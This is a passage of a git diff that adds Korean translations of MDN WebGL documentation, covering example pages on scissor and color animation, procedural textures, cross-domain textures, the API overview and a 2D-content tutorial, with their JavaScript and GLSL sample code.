+    gl.deleteBuffer(buffer);
+  if (program)
+    gl.deleteProgram(program);
+}
+
+ + + + + +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Hello_GLSL","Learn/WebGL/By_example/Textures_from_code")}}

diff --git a/files/ko/web/api/webgl_api/by_example/index.html b/files/ko/web/api/webgl_api/by_example/index.html new file mode 100644 index 0000000000..c7fd3dcd4a --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/index.html @@ -0,0 +1,83 @@ +--- +title: WebGL by example +slug: Web/API/WebGL_API/By_example +tags: + - Beginner + - Example + - Graphics + - Learn + - NeedsTranslation + - TopicStub + - WebGL +translation_of: Web/API/WebGL_API/By_example +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{Next("Learn/WebGL/By_example/Detect_WebGL")}}

+ +
+
+

WebGL by example is a series of live samples with short explanations that showcase WebGL concepts and capabilities. The examples are sorted according to topic and level of difficulty, covering the WebGL rendering context, shader programming, textures, geometry, user interaction, and more.

+
+ +
+

Examples by topic

+ +

The examples are sorted in order of increasing difficulty. But rather than just presenting them in a single long list, they are additionally divided into topics. Sometimes we revisit a topic several times, such as when needing to discuss it initially at a basic level, and later at intermediate and advanced levels.

+ +

Instead of trying to juggle shaders, geometry, and working with {{Glossary("GPU")}} memory, already in the first program, the examples here explore WebGL in an incremental way. We believe that it leads to a more effective learning experience and ultimately a deeper understanding of the underlying concepts.

+ +

Explanations about the examples are found in both the main text and in comments within the code. You should read all comments, because more advanced examples could not repeat comments about parts of the code that were previously explained.

+ +
+

Getting to know the rendering context

+ +
+
Detect WebGL
+
This example demonstrates how to detect a {{Glossary("WebGL")}} rendering context and reports the result to the user.
+
Clearing with colors
+
How to clear the rendering context with a solid color.
+
Clearing by clicking
+
How to combine user interaction with graphics operations. Clearing the rendering context with a random color when the user clicks.
+
Simple color animation
+
A very basic color animation, done by clearing the {{Glossary("WebGL")}} drawing buffer with a different random color every second.
+
Color masking
+
Modifying random colors by applying color masking and thus limiting the range of displayed colors to specific shades.
+
Basic scissoring
+
How to draw simple rectangles and squares with scissoring operations.
+
Canvas size and WebGL
+
The example explores the effect of setting (or not setting) the canvas size to its element size in {{Glossary("CSS")}} pixels, as it appears in the browser window.
+
Boilerplate 1
+
The example describes repeated pieces of code that will be hidden from now on, as well as defining a JavaScript utility function to make WebGL initialization easier.
+
Scissor animation
+
Some animation fun with scissoring and clearing operations.
+
Raining rectangles
+
A simple game that demonstrates clearing with solid colors, scissoring, animation, and user interaction.
+
+
+ +
+

Shader programming basics

+ +
+
Hello GLSL
+
A very basic shader program that draws a solid color square.
+
Hello vertex attributes
+
Combining shader programming and user interaction through vertex attributes.
+
Textures from code
+
A simple demonstration of procedural texturing with fragment shaders.
+
+
+ +
+

Miscellaneous advanced examples

+ +
+
Video textures
+
This example demonstrates how to use video files as textures.
+
+
+
+
+ +

{{Next("Learn/WebGL/By_example/Detect_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/by_example/scissor_animation/index.html b/files/ko/web/api/webgl_api/by_example/scissor_animation/index.html new file mode 100644 index 0000000000..1b3748c9bc --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/scissor_animation/index.html @@ -0,0 +1,166 @@ +--- +title: 애니메이션 잘라내기 +slug: Web/API/WebGL_API/By_example/Scissor_animation +translation_of: Web/API/WebGL_API/By_example/Scissor_animation +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Boilerplate_1","Learn/WebGL/By_example/Raining_rectangles")}}

+ +
+
+

활동을 청소하고 잘라내는 어떤 애니메이션 장난

+
+ +

{{EmbedLiveSample("scissor-animation-source",660,425)}}

+ +
+

애니메이션 잘라내기

+ +

이번 예시에서는, 우리는 사각형을 {{domxref("WebGLRenderingContext.scissor()","scissor()")}} 와{{domxref("WebGLRenderingContext.clear()","clear()")}} 을 이용하여 그려볼 것입니다. 우리는 다시 애니메이션 루프를 타이머를 이용하여 구축할 것입니다. 이번에는 매 프레임(우리는 프레임 비율을 대강 매 17ms 마다 설정했습니다.) 대마다 업데이트 되는 사각형(잘라내는 영역)의 경우임을 주목하세요.

+ +

반대로, 사각형의 색 ({{domxref("WebGLRenderingContext.clearColor()","clearColor")}}으로 설정되는)은 오직 새로운 사각형이 생성될 때만 업데이트 됩니다. 이것은 상태 머신으로써 {{Glossary("WebGL")}} 을 보여줄 좋은 데모입니다. 각 사각형에 대하여 우리는 그것의 색을 결정하고, 매 프레임마다 위치를 결정합니다. WebGl의 깨끗한 색 상태는 새로운 사각형이 생성되어 우리가 그것을 다시 바꿀 때까지 설정 값으로 남아있습니다.

+
+ +
+ + + + +
"use strict"
+window.addEventListener("load", setupAnimation, false);
+// Variables to hold the WebGL context, and the color and
+// position of animated squares.
+var gl,
+  color = getRandomColor(),
+  position;
+
+function setupAnimation (evt) {
+  window.removeEventListener(evt.type, setupAnimation, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  gl.enable(gl.SCISSOR_TEST);
+  gl.clearColor(color[0], color[1], color[2], 1.0);
+  // Unlike the browser window, vertical position in WebGL is
+  // measured from bottom to top. In here we set the initial
+  // position of the square to be at the top left corner of the
+  // drawing buffer.
+  position = [0, gl.drawingBufferHeight];
+
+  var button = document.querySelector("button");
+  var timer;
+  function startAnimation(evt) {
+    button.removeEventListener(evt.type, startAnimation, false);
+    button.addEventListener("click", stopAnimation, false);
+    document.querySelector("strong").innerHTML = "stop";
+    timer = setInterval(drawAnimation, 17);
+    drawAnimation();
+  }
+  function stopAnimation(evt) {
+    button.removeEventListener(evt.type, stopAnimation, false);
+    button.addEventListener("click", startAnimation, false);
+    document.querySelector("strong").innerHTML = "start";
+    clearInterval(timer);
+  }
+  stopAnimation({type: "click"});
+}
+
+// Variables to hold the size and velocity of the square.
+var size = [60, 60],
+  velocity = 3.0;
+function drawAnimation () {
+  gl.scissor(position[0], position[1], size[0] , size[1]);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  // Every frame the vertical position of the square is
+  // decreased, to create the illusion of movement.
+  position[1] -= velocity;
+  // When the sqaure hits the bottom of the drawing buffer,
+  // we override it with new square of different color and
+  // velocity.
+  if (position[1] < 0) {
+    // Horizontal position chosen randomly, and vertical
+    // position at the top of the drawing buffer.
+    position = [
+      Math.random()*(gl.drawingBufferWidth - size[0]),
+      gl.drawingBufferHeight
+    ];
+    // Random velocity between 1.0 and 7.0
+    velocity = 1.0 + 6.0*Math.random();
+    color = getRandomColor();
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+  }
+}
+
+function getRandomColor() {
+  return [Math.random(), Math.random(), Math.random()];
+}
+
+ + + + + +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Boilerplate_1","Learn/WebGL/By_example/Raining_rectangles")}}

diff --git a/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html b/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html new file mode 100644 index 0000000000..a2e70de77c --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html @@ -0,0 +1,125 @@ +--- +title: 간단한 색깔 애니메이션 +slug: Web/API/WebGL_API/By_example/Simple_color_animation +translation_of: Web/API/WebGL_API/By_example/Simple_color_animation +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Clearing_by_clicking","Learn/WebGL/By_example/Color_masking")}}

+ +
+
+

{{Glossary("WebGL")}} 를 청소함으로써 매 초 마다 랜덤 색이 버퍼에 그려지는 매우 기본적인 색깔 애니메이션.

+
+ +

{{EmbedLiveSample("simple-color-animation-source",660,425)}}

+ +
+

청소 & 컬러 애니메이션

+ +

이 예시는 유저 인터페이스 뿐만 아니라, {{Glossary("WebGL")}}와 함께 간단한 컬러 애니메이션 설명을 제공합니다. 유저는 버튼을 클릭함으로써, 애니메이션을 시작하고, 종료하고, 다시시작할 수 있습니다.

+ +

이번에 우리는 이벤트 핸들로 내부에서 {{Glossary("WebGL")}} 함수 콜을 넣을 것입니다. 클릭 이벤트 핸들러는 추가적으로 시작하고 멈추는 기본적인 유저 상호작용을 가능하게 합니다. 타이머와 타이머 핸들러 기능은 애니메이션 반복을 구축합니다. 애니메이션 반복은 일정한 주기로 실행되는 그리기 명령의 집합입니다.(일반적으로 모든 프레임; 이 경우 초당 1번)

+
+ +
+
<p>A simple WebGL program that shows color animation.</p>
+<p>You can click the button below to toggle the
+    color animation on or off.</p>
+<canvas id="canvas-view">Your browser does not seem to support
+    HTML5 canvas.</canvas>
+<button id="animation-onoff">
+  Press here to
+<strong>[verb goes here]</strong>
+  the animation
+</button>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : inline-block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+
+ +
window.addEventListener("load", function setupAnimation (evt) {
+  "use strict"
+  window.removeEventListener(evt.type, setupAnimation, false);
+
+  // A variable to hold a timer that drives the animation.
+  var timer;
+
+  // Click event handlers.
+  var button = document.querySelector("#animation-onoff");
+  var verb = document.querySelector("strong");
+  function startAnimation(evt) {
+    button.removeEventListener(evt.type, startAnimation, false);
+    button.addEventListener("click", stopAnimation, false);
+    verb.innerHTML="stop";
+    // Setup animation loop by redrawing every second.
+    timer = setInterval(drawAnimation, 1000);
+    // Give immediate feedback to user after clicking, by
+    // drawing one animation frame.
+    drawAnimation();
+  }
+  function stopAnimation(evt) {
+    button.removeEventListener(evt.type, stopAnimation, false);
+    button.addEventListener("click", startAnimation, false);
+    verb.innerHTML="start";
+    // Stop animation by clearing the timer.
+    clearInterval(timer);
+  }
+  // Call stopAnimation() once to setup the initial event
+  // handlers for canvas and button.
+  stopAnimation({type: "click"});
+
+  var gl;
+  function drawAnimation () {
+    if (!gl) {
+      var canvas = document.getElementById("canvas-view");
+      gl = canvas.getContext("webgl")
+        ||canvas.getContext("experimental-webgl");
+      if (!gl) {
+        clearInterval(timer);
+        alert("Failed to get WebGL context.\n"
+          + "Your browser or device may not support WebGL.");
+        return;
+      }
+      gl.viewport(0, 0,
+        gl.drawingBufferWidth, gl.drawingBufferHeight);
+    }
+
+    // Get a random color value using a helper function.
+    var color = getRandomColor();
+    // Set the WebGLRenderingContext clear color to the
+    // random color.
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+    // Clear the context with the newly set color.
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  // Random color helper function.
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+}, false);
+
+ +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Clearing_by_clicking","Learn/WebGL/By_example/Color_masking")}}

diff --git a/files/ko/web/api/webgl_api/by_example/textures_from_code/index.html b/files/ko/web/api/webgl_api/by_example/textures_from_code/index.html new file mode 100644 index 0000000000..75b7a68eb0 --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/textures_from_code/index.html @@ -0,0 +1,174 @@ +--- +title: 코드에서의 텍스쳐 +slug: Web/API/WebGL_API/By_example/Textures_from_code +translation_of: Web/API/WebGL_API/By_example/Textures_from_code +--- +
{{draft}} {{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Hello_vertex_attributes","Learn/WebGL/By_example/Video_textures")}}

+ +
+
+

단편화된 쉐이더들과 함께 순차적으로 보여주는 간단한 데모

+
+ +

{{EmbedLiveSample("textures-from-code-source",660,425)}}

+ +
+

코드를 이용해 텍스쳐를 그리기

+ +

Texturing a point sprite with calculations done per-pixel in the fragment shader.

+
+ +
+ + +
<script type="x-shader/x-vertex" id="vertex-shader">
+#version 100
+precision highp float;
+
+attribute vec2 position;
+
+void main() {
+  gl_Position = vec4(position, 0.0, 1.0);
+  gl_PointSize = 128.0;
+}
+</script>
+
+ +
<script type="x-shader/x-fragment" id="fragment-shader">
+#version 100
+precision mediump float;
+void main() {
+  vec2 fragmentPosition = 2.0*gl_PointCoord - 1.0;
+  float distance = length(fragmentPosition);
+  float distanceSqrd = distance * distance;
+  gl_FragColor = vec4(
+    0.2/distanceSqrd,
+    0.1/distanceSqrd,
+    0.0, 1.0 );
+}
+</script>
+
+ + + +
"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "Shader program did not link successfully. "
+      + "Error log: " + linkErrLog;
+    return;
+  }
+  initializeAttributes();
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+  cleanup();
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0, 0.0]), gl.STATIC_DRAW);
+  gl.vertexAttribPointer(0, 2, gl.FLOAT, false, 0, 0);
+}
+
+function cleanup() {
+gl.useProgram(null);
+if (buffer)
+  gl.deleteBuffer(buffer);
+if (program)
+  gl.deleteProgram(program);
+}
+
+ + + + + +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Hello_vertex_attributes","Learn/WebGL/By_example/Video_textures")}}

diff --git a/files/ko/web/api/webgl_api/cross-domain_textures/index.html b/files/ko/web/api/webgl_api/cross-domain_textures/index.html new file mode 100644 index 0000000000..17d781c01f --- /dev/null +++ b/files/ko/web/api/webgl_api/cross-domain_textures/index.html @@ -0,0 +1,33 @@ +--- +title: 크로스-도메인 텍스쳐 +slug: Web/API/WebGL_API/Cross-Domain_Textures +tags: + - WebGL + - 웹지엘 + - 크로스 도메인 + - 텍스쳐 +translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL#Cross-domain_textures +--- +

WebGL 텍스쳐 로딩은 크로스-도메인 접근 규칙에 따라 제약을 받습니다. 여러분이 만든 컨텐츠에서 다른 도메인의 텍스쳐, 즉, 크로스-도메인 텍스쳐를 로딩하려면 CORS 승인이 필요합니다. CORS에 대한 자세한 내용은 HTTP access control을 참고하시기 바랍니다.

+ +

CORS 승인된 이미지를 WebGL 텍스쳐에 사용하는 방법에 대한 설명은 hacks.mozilla.org 문서예제를 참고하시기 바랍니다.

+ +
+

역자 주 : 예제 링크가 깨져있는데, 원문에도 깨진 링크가 포함되어 있습니다.

+
+ +
+

Note: WebGL 텍스쳐에 대한 CORS 지원과 이미지 요소의 crossOrigin 속성이 {{Gecko("8.0")}}에 구현되어 있습니다.

+
+ +

내용이 변경되어 오염된(tainted) 쓰기 전용의 2D 캔버스는 WebGL 텍스쳐로 사용될 수 없습니다. 예를 들어 크로스-도메인 이미지가 그려진 2D {{ HTMLElement("canvas") }}는 오염된 2D 캔버스라고 할 수 있습니다.

+ +
+

Note: 캔버스 2D의 drawImage에 대한 CORS 지원은 {{Gecko("9.0")}}에 구현되어 있습니다. 따라서 {{Gecko("9.0")}}에서부터는, CORS 승인된 크로스-도메인 이미지는 2D 캔버스를 오염시키지 않으며, CORS 승인된 크로스-도메인 이미지가 그려진 2D 캔버스도 WebGL 텍스쳐로 사용할 수 있습니다.

+
+ +
+

Note: 크로스-도메인 비디오에 대한 CORS 지원과 {{ HTMLElement("video") }}요소의 crossorigin 속성은 {{Gecko("12.0")}}에 구현되어 있습니다.

+
+ +

{{ languages( { "ja": "ja/WebGL/Cross-Domain_Textures", "ko": "ko/Web/WebGL/Cross-Domain_Textures"} ) }}

diff --git a/files/ko/web/api/webgl_api/index.html b/files/ko/web/api/webgl_api/index.html new file mode 100644 index 0000000000..20988c4b70 --- /dev/null +++ b/files/ko/web/api/webgl_api/index.html @@ -0,0 +1,255 @@ +--- +title: WebGL +slug: Web/API/WebGL_API +tags: + - 3D + - 3D Graphics + - API + - Advanced + - Graphics + - JavaScript + - Media + - Overview + - Reference + - WebGL + - WebGL API +translation_of: Web/API/WebGL_API +--- +
{{WebGLSidebar}}
+ +

WebGL(Web Graphics Library)은 플러그인을 사용하지 않고 웹 브라우저에서 상호작용 가능한 3D와 2D 그래픽을 표현하기 위한 JavaScript API입니다. WebGL은 HTML5 {{HTMLElement("canvas")}} 요소에서 사용할 수 있는, OpenGL ES 2.0을 대부분 충족하는 API를 제공합니다.

+ +

WebGL은 Firefox 4+, Google Chrome 9+, Opera 12+, Safari 5.1+, Internet Explorer 11+, Microsoft Edge build 10240+에서 사용할 수 있습니다. 그러나 사용자 장치의 하드웨어도 WebGL 기능을 지원해야 합니다.

+ +

{{HTMLElement("canvas")}} 요소는 캔버스 API를 사용해 웹 페이지에서 2D 그래픽을 그릴 때도 사용됩니다.

+ +

참고서

+ +

표준 인터페이스

+ +
+ +
+ +

확장

+ +
+ +
+ +

이벤트

+ + + +

상수와 자료형

+ + + +

WebGL 2

+ +

WebGL 2는 {{domxref("WebGL2RenderingContext")}} 인터페이스를 통해 제공되는 WebGL 메이저 업데이트다. OpenGL ES 3.0 을 기반으로 하며 다음과 같은 특징을 포함한다:

+ + + +

"WebGL 2 lands in Firefox" 블로그 포스트와와 and webglsamples.org/WebGL2Samples 데모도 참고.

+ +

안내서와 자습서

+ +

안내서

+ +
+
WebGL의 데이터
+
WebGL 코드를 작성할 때 사용하는 변수, 버퍼와 그 외 다른 형태의 데이터를 알아봅니다.
+
WebGL 우수 사례
+
WebGL 콘텐츠의 품질, 성능, 안정성을 높일 수 있는 팁과 제안입니다.
+
확장 사용
+
WebGL 확장을 사용하는 법을 알아봅니다.
+
+ +

자습서

+ +
+
WebGL 자습서
+
초심자를 위한 WebGL 핵심 개념입니다. WebGL을 접해보지 않았다면 여기서 시작해보세요.
+
+ +

예제

+ +
+
기초 WebGL 2D 애니메이션 예제
+
This example demonstrates the simple animation of a one-color shape. Topics examined are adapting to aspect ratio differences, a function to build shader programs from sets of multiple shaders, and the basics of drawing in WebGL.
+
예제로 알아보는 WebGL
+
A series of live samples with short explanations that showcase WebGL concepts and capabilities. The examples are sorted according to topic and level of difficulty, covering the WebGL rendering context, shader programming, textures, geometry, user interaction, and more.
+
+ +

고급 자습서

+ +
+
WebGL 모델 뷰 프로젝션
+
A detailed explanation of the three core matrices that are typically used to represent a 3D object view: the model, view and projection matrices.
+
웹을 위한 행렬 계산
+
A useful guide to how 3D transform matrices work, and can be used on the web — both for WebGL calculations and in CSS3 transforms.
+
+ + + + + +

Libraries

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL')}}{{Spec2('WebGL')}}Initial definition. Based on OpenGL ES 2.0
{{SpecName('WebGL2')}}{{Spec2('WebGL2')}}Builds on top of WebGL 1. Based on OpenGL ES 3.0.
{{SpecName('OpenGL ES 2.0')}}{{Spec2('OpenGL ES 2.0')}} 
{{SpecName('OpenGL ES 3.0')}}{{Spec2('OpenGL ES 3.0')}} 
+ + + +

WebGL 1

+ + + +

{{Compat("api.WebGLRenderingContext", 0)}}

+ +

WebGL 2

+ + + +

{{Compat("api.WebGL2RenderingContext", 0)}}

+ +

호환성 노트

+ +

브라우저 이외에 GPU 자체도 기능을 제공합니다. 따라서 예를들면 S3 텍스처 압축(S3TC)은 오직 테그라 기반 테블렛에서 사용가능합니다.

+ +

게코 노트

+ +

WebGL 디버깅과 테스팅

+ +

Gecko 10.0 {{geckoRelease("10.0")}}을 사용하면 WebGL의 호환성을 테스트 목적으로 제어할수 있도록 두 가지 환경설정을 할 수 있습니다.

+ +
+
webgl.min_capability_mode
+
Boolean 속성으로 참일 경우 최소 호환성 모드로 사용 가능합니다. 이 모드에서 WebGL는 오직 최소한의 기능만 설정하고 WebGL 명세에서 필요한 기능만 지원하도록 설정되어 집니다. 이는 WebGL코드가 어떠한 디바이스나 브라우저에서 작동이 된다는 것을 보장합니다. 기본값으로는 거짓으로 설정되어 있습니다.
+
webgl.disable_extensions
+
Boolean 속성으로 참일 경우 WebGL 확장을 비활성화 하고 기본값은 거짓입니다.
+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html new file mode 100644 index 0000000000..62ca452949 --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html @@ -0,0 +1,236 @@ +--- +title: WebGL 컨텍스트에 2D 컨텐츠 추가하기 +slug: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context +tags: + - Tutorial + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}

+ +

일단 성공적으로 WebGL컨텍스트를 생성하면 그 안에 렌더링을 시작할 수 있습니다. 가장 간단히 해볼 수 있는 것은 텍스쳐가 없는 2D 객체를 렌더링 하는 것입니다. 한번 사각형을 그리는 코드를 작성하는 것으로 시작해봅시다.

+ +

장면(scene)에 조명효과 추가하기

+ +
  시작 하기전에 반드시 이해해야할 것은 예제에서 오직 2차원 객체만 랜더링을 하더라도 3D 공간에서 그리고 있다는 것 입니다. 이처럼 여전히 객체가 그려질 간단한 장면에 조명 쉐이더를 설정하는것이 필요합니다. 여기서 어떻게 사각형에 조명효과를 줄 수 있는지 확인해보겠습니다.
+ +
 
+ +

쉐이더 초기화

+ +

  쉐이더는OpenGL ES 쉐이딩 언어를 사용하여 지정됩니다. 컨텐츠의 유지보수와 업데이트를 쉽게하기 위해 쉐이더를 '불러오기위한' 코드를 직접 작성하겠습니다. 다시 말하자면 쉐이더를 직접 새로 만드는 것이 아니라 HTML문서에서 쉐이더를 '찾아오는' 자바스크립트 코드입니다. 이 작업을 처리하는 initShaders()함수의 일반적인 형태를 살펴보겠습니다.

+ +
function initShaders() {
+  var fragmentShader = getShader(gl, "shader-fs");
+  var vertexShader = getShader(gl, "shader-vs");
+
+  // Create the shader program
+
+  shaderProgram = gl.createProgram();
+  gl.attachShader(shaderProgram, vertexShader);
+  gl.attachShader(shaderProgram, fragmentShader);
+  gl.linkProgram(shaderProgram);
+
+  // If creating the shader program failed, alert
+
+  if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
+    alert("Unable to initialize the shader program.");
+  }
+
+  gl.useProgram(shaderProgram);
+
+  vertexPositionAttribute = gl.getAttribLocation(shaderProgram, "aVertexPosition");
+  gl.enableVertexAttribArray(vertexPositionAttribute);
+}
+
+
+ +

이 방식을 통해 로딩되는 쉐이더는 두가지가 있습니다. 첫번째는 조각 쉐이더(fragment shader)로 "shader-fs"라는 ID를 가진 script 엘리먼트에서 불러옵니다. 두번째는 정점 쉐이더(vertex shader)로 "shader-vs"라는 ID를 가진 script엘리먼트에서 불러옵니다.  getShader()함수는 다음 섹션에서 다룰 것입니다.  이 과정은 쉐이더 프로그램을 DOM에서 가저오는 것을 다룹니다. 

+ +

그 다음 우리는 WebGL 객체의 createProgram()함수를 호출하여 쉐이더 프로그램을 생성 할 것입니다.  WebGL 객체에 두개의 쉐이더를  붙인다음 서로 연결할 것입니다. 그 다음 프로그램이 성공적으로 연결되었는지 확인하기 위해 gl 객체의 LINK_STATUS 매개변수를 체크합니다. 이것이 성공적이라면 새로운 쉐이더 프로그램을 활성화 합니다.

+ +

DOM에서 쉐이더 불러오기

+ +

getShader()함수는 DOM에서 지정된 이름을 가진 쉐이더 프로그램을 가져와 컴파일된 쉐이더 프로그램을 호출자에 반환 합니다. 컴파일이나 불러올 수 없는 경우에는 null을 반환 합니다.

+ +
function getShader(gl, id) {
+  var shaderScript, theSource, currentChild, shader;
+
+  shaderScript = document.getElementById(id);
+
+  if (!shaderScript) {
+    return null;
+  }
+
+  theSource = "";
+  currentChild = shaderScript.firstChild;
+
+  while(currentChild) {
+    if (currentChild.nodeType == currentChild.TEXT_NODE) {
+      theSource += currentChild.textContent;
+    }
+
+    currentChild = currentChild.nextSibling;
+  }
+
+ +

특정 ID를 가진 엘리먼트를 찾으면 텍스트 컨텐츠가 theSource 변수에 저장됩니다.

+ +
  if (shaderScript.type == "x-shader/x-fragment") {
+    shader = gl.createShader(gl.FRAGMENT_SHADER);
+  } else if (shaderScript.type == "x-shader/x-vertex") {
+    shader = gl.createShader(gl.VERTEX_SHADER);
+  } else {
+     // Unknown shader type
+     return null;
+  }
+ +

쉐이더를 위한 코드가 읽혀지면 쉐이더가 정점 쉐이더(MIME type "x-shader/x-vertex")인지 조각 쉐이더(MIME type "x-shader/x-fragment")인지 결정하기 위해 쉐이더 객체의 MIME 형식을 살펴봅니다. 그 다음 소스 코드에서 얻어진 것을 가지고 적절한 타입의 쉐이더를 생성합니다.

+ +
  gl.shaderSource(shader, theSource);
+
+  // Compile the shader program
+  gl.compileShader(shader);
+
+  // See if it compiled successfully
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+      alert("An error occurred compiling the shaders: " + gl.getShaderInfoLog(shader));
+      return null;
+  }
+
+  return shader;
+}
+
+ +
마지막으로 소스는 쉐이더로 전달되고 컴파일됩니다. 만약 쉐이더가 컴파일하는 동안 에러가 발생하면 경고 메세지를 출력하고 null을 반환합니다. 그러지 않으면 새롭게 컴파일된 쉐이더가 호출자로 반환됩니다.
+ +
 
+ +

쉐이더

+ +
그 다음 쉐이더 프로그램을 HTML 표현에 추가해야 합니다. 쉐이더가 구체적으로 어떻게 작동하는지에 대한 내용은 이 문서에서 다루지 않습니다. 다음은 쉐이더 언어 문법입니다.
+ +
 
+ +

조각 쉐이더(Fragment shader)

+ +

다각형 안에 있는 각각의 픽셀은 GL 전문용어로 fragment이라고 부릅니다. fragment shader가 하는 일은 각 픽셀의 색상을 설정하는 것입니다. 우리는 간단하게 각 픽셀을 하얀색으로 지정하겠습니다.

+ +

fragment의 색상에서 사용되는 gl_FragColor는 GL에서 만들어진 변수입니다. 아래와 같이 값을 설정하면 픽셀의 색상이 설정됩니다.

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+
+  void main(void) {
+
+    gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+
+  }
+
+</script>
+ +
 
+ +

정점 쉐이더(Vertex Shader)

+ +

정점 쉐이더는 각 정점의 위치과 모양을 정의합니다.

+ +
<script id="shader-vs" type="x-shader/x-vertex">
+  attribute vec3 aVertexPosition;
+
+  uniform mat4 uMVMatrix;
+  uniform mat4 uPMatrix;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+  }
+</script>
+ +

 

+ +

객체 생성

+ +

사각형 렌더링을 하기 전에 사각형의 각 정점들을 저장할 버퍼를 만들어야 합니다. 이를 initBuffers()라는 함수를 이용해 해보도록 하겠습니다. 앞으로 고급 WebGL 개념을 살펴보면서, 더욱 다양하고 복잡한 3D 오브젝트를 생성하고자 할 때 이 루틴을 많이 사용하게 될 것입니다.

+ +
var horizAspect = 480.0/640.0;
+
+function initBuffers() {
+  squareVerticesBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+
+  var vertices = [
+    1.0,  1.0,  0.0,
+    -1.0, 1.0,  0.0,
+    1.0,  -1.0, 0.0,
+    -1.0, -1.0, 0.0
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertices), gl.STATIC_DRAW);
+}
+
+ +

이 예제에서는 장면(scene)의 기본적인 속성만을 보여주기 위해, 루틴이 다소 지나치게 단순화되어있습니다. 정점들을 저장할 버퍼를 얻기 위해 gl 객체의 createBuffer() 메서드를 호출하는 것으로 시작합니다. 그 다음 bindBuffer() 메서드를 불러와 컨텍스트에 연결합니다.

+ +

이 과정이 끝난 뒤 사각형의 각 정점 좌표를 담고있는 자바스크립트 배열을 생성합니다. 그런 다음 배열을 WebGL floats 배열로 변환한 뒤 gl객체의 bufferData() 메서드로 전달해 객체의 정점을 설정합니다.

+ +

장면(Scene) 그리기

+ +

쉐이더가 설정되고 객체가 생성되면 실제로 장면을 렌더링 할 수 있습니다. 이 예제에서 어떠한 애니메이팅도 안 할 것이기 떄문에 drawScene()함수는 매우 간단합니다. 이는 우리가 곧 다룰 몇 가지 유용한 루틴만 사용합니다?.

+ +
function drawScene() {
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  perspectiveMatrix = makePerspective(45, 640.0/480.0, 0.1, 100.0);
+
+  loadIdentity();
+  mvTranslate([-0.0, 0.0, -6.0]);
+
